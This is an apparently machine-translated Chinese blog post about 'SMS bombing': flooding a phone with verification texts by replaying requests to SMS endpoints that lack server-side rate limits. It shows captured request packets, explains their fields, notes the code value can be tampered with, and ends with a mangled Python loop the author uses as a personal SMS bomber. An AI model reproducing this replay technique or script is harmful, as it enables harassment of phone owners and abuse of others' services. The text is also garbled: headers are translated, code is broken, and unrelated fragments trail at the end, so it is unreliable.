
在日常生活中,随着越来越多的平台注册会员,取回密码和进行移动支付,为了防止他人被欺诈使用,恶意盗窃号码和资金安全,经常使用SMS验证码来进行验证,从而改善帐户的安全性和资金的安全性.
但是,每件事都有其两个方面,并且SMS验证代码通常会在提高安全性的同时带来一些不可避免的麻烦. 例如,轰炸短信.
1. 短信轰炸的形成
第一种情况
看这张照片. 当客户端向服务器发送一个get \ post请求时,服务器在接收到数据包后会发送一个字符串get \ post请求,就像一个短消息接口平台. 收到请求后,SMS平台界面会向服务器返回一定的值(通常为4到6位数字),便于服务器在客户端输入验证码后进行验证. 同时,SMS界面将我们看到的验证码发送到手机. 此时,手机将验证码输入服务器进行验证.
在这里,通常当客户端向服务器发送请求时,某些程序尚未验证请求的数量,或者仅对本地客户端施加了时间限制(例如相隔60秒),在这种情况下,使用可以在本地使用,以加快APP的倒计时,从而在短时间内快速多次发送数据包,从而形成第一种SMS轰炸. 在捕获APP的数据包以形成第二种SMS轰炸之后,还可以在Web浏览器中进行多次快速重放.
看制造商的情况:
POST数据包:
POST称为编码〜/ geyeapi / router / rest? v = 2.0×时间戳= 2016-03-19 + 20: 53: 20&app_key =〜编码和符号= EA6170E32B08923F2EBDF761D16AE9F1&方法= aaaavalidatecode / send&partner_id = top-sdk- java-20120202&sign_method = md5&格式= jsonHTTP / 1.1
接受: 文本/ xml,文本/ javascript,文本/ html
User-Agent: hyy-sdk-java
Content-Type: 应用程序/ x-www-form-urlencoded;字符集= UTF-8
主持人: 这称为编码〜
连接: 保持活动
接受编码: gzip
内容长度: 53
mobile =手机号码&imsi = IMSI&client_type = 1

首先,让我们分析该帖子包
POST编码办公室/ geyeapi /路由器/其余? v = 2.0×时间戳= 2016-03-19 + 20: 53: 20&app_key =编码和符号= EA6170E32B08923F2EBDF761D16AE9F1&方法= aaaavalidatecode / send&partner_id = top-sdk-java-20120202&sign_meth md5&格式= jsonHTTP / 1.1
在这里,我们可以在请求SMS验证码时看到某些APP发送的信息,
V = 2.0是APP的版本
时间戳=当时的时间
Aey = APP的缩写
Sign = APP对请求进行了检查(但未执行数字检查短信app,因此可以用于多次检查)
Sign_method = md5加密
再次查看帖子发送的内容
mobile =手机号码&imsi = IMSI&client_type = 1
mobile =手机号码
imsi =手机IMSI序列号
client_type =发送的验证码类型(例如1 =注册,2 =恢复密码,3 =付款验证)
这里我在短时间内发送了许多数据包,我的手机收到了很多相同的信息.
第二种情况
看这张照片. 首先,客户端发出一个get \ post请求,但是这次他使用内置接口将其直接发送到平台的SMS接口. 该请求是在平台的SMS界面上收到的. 之后,发送到服务器的验证码也将发送到接口(此处,在发送验证码时,我们忽略客户端对服务器的请求)短信app,以便服务器接收要验证的字符串,同时,手机也会收到此字符串. 在这里我们可以看到,因为省略了对服务器的请求,所以程序可能忘记限制次数,或者只是在本地限制次数. 同样,我们可以截取数据包. 可以在浏览器中快速多次提出请求,从而导致短信爆炸.

看:
获取:
可爱的编码位置〜/ api / sendcode?用户名=手机号码,发件人= 0,回调= jsonp2,只需分析网址,
发送代码=发送验证码命令
用户名=手机号码
从=类型
通过构造用户名,然后进行短信轰炸
看效果图
看看第三种情况
有两种类似的情况. 我在这里不解释建议的图片.
1. 根据相同的第一种情况,本地生成的数据包直接包含验证码字符串,并通过服务器发送到接口. 我们来看一个数据包:
POST *. *. *. * / app / me / sendSmsMsgHTTP / 1.1
主持人: *. *. *. *
Content-Type: 应用程序/ x-www-form-urlencoded
接受: * / *
连接: 保持活动状态
代理连接: 保持活动状态

Cookie: JSESSIONID = 262f5n0oyngp17n40g26x2bif
User-Agent: TrafficPlusPlus / 1.1(iPhone; iOS9.1; Scale / 3.00)
接受语言: zh-Hans-CN; q = 1,zh-Hant-CN; q = 0.9
接受编码: gzip,放气
内容长度: 37
mobile = 13800138000&smsCodeRand = 753211
您可以在帖子内容中看到两个字段
手机=手机号码
SmsCodeRand =可爱的验证码
同时,我们在这里还可以意识到,这串数字可以被〜篡改.
如果服务器未为该数字字符串分配int,则即使它的类型为varchar〜,我们甚至可以发送文本〜
以相同的速度多次发送数据包后,我心爱的手机被毁了.
2. 第二种情况
可爱的验证码/ ZFT /转换/ Default.ashx
HJ_SIID = A68411C5-68F7-4329-B262-6E7A8E6216F8&HJ_Key_MId = 20500decb237d82f&HJ_Key_Ver = 41&HJ_Key_Type = Android&HJ_Key_OS = 6.0.1&HJ_Key_MBrand = MI + 4C&HJ_ID = MS + 4C&HJ_ID = YXWZ&HJ_MB_type = 1&HJ_MB_mobile =电话号码;
最后,您可以看到已发送的移动字段. 发送完之后,我们的可爱服务器向我返回了一个字符串,尽管我听不懂,但是我可以解密它

仍然像这样,我心爱的小手机〜再次遭到无情的轰炸.
我不会拍照.
但同样,我们应该如何使用它
这时,我要感谢我心爱的兄弟〜他给了我一段python代码(单线程)
#-*编码: cp936-*-
a = raw_input(“次数: ”)
b = raw_input(“电话: ”)
url =
url1 =
post1 =
defa1():
代码,头,res,错误代码,_ = curl.curl2(url)
code,head,res,errcode,_ = curl.curl2(url1,raw = post1
if__name __ =='__ main __':
fromdummyimport *
foriinrange(0,int(a)):
a1()
在这种情况下,我将这些接口放在手中,并制作了自己的小型SMS轰炸机hahahaha〜
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/tongxinshuyu/article-186984-1.html
中国大地思想的大旗又高高举起和飘扬了
阿富汗
而不是处处以一等人居之
你知道吗
对啊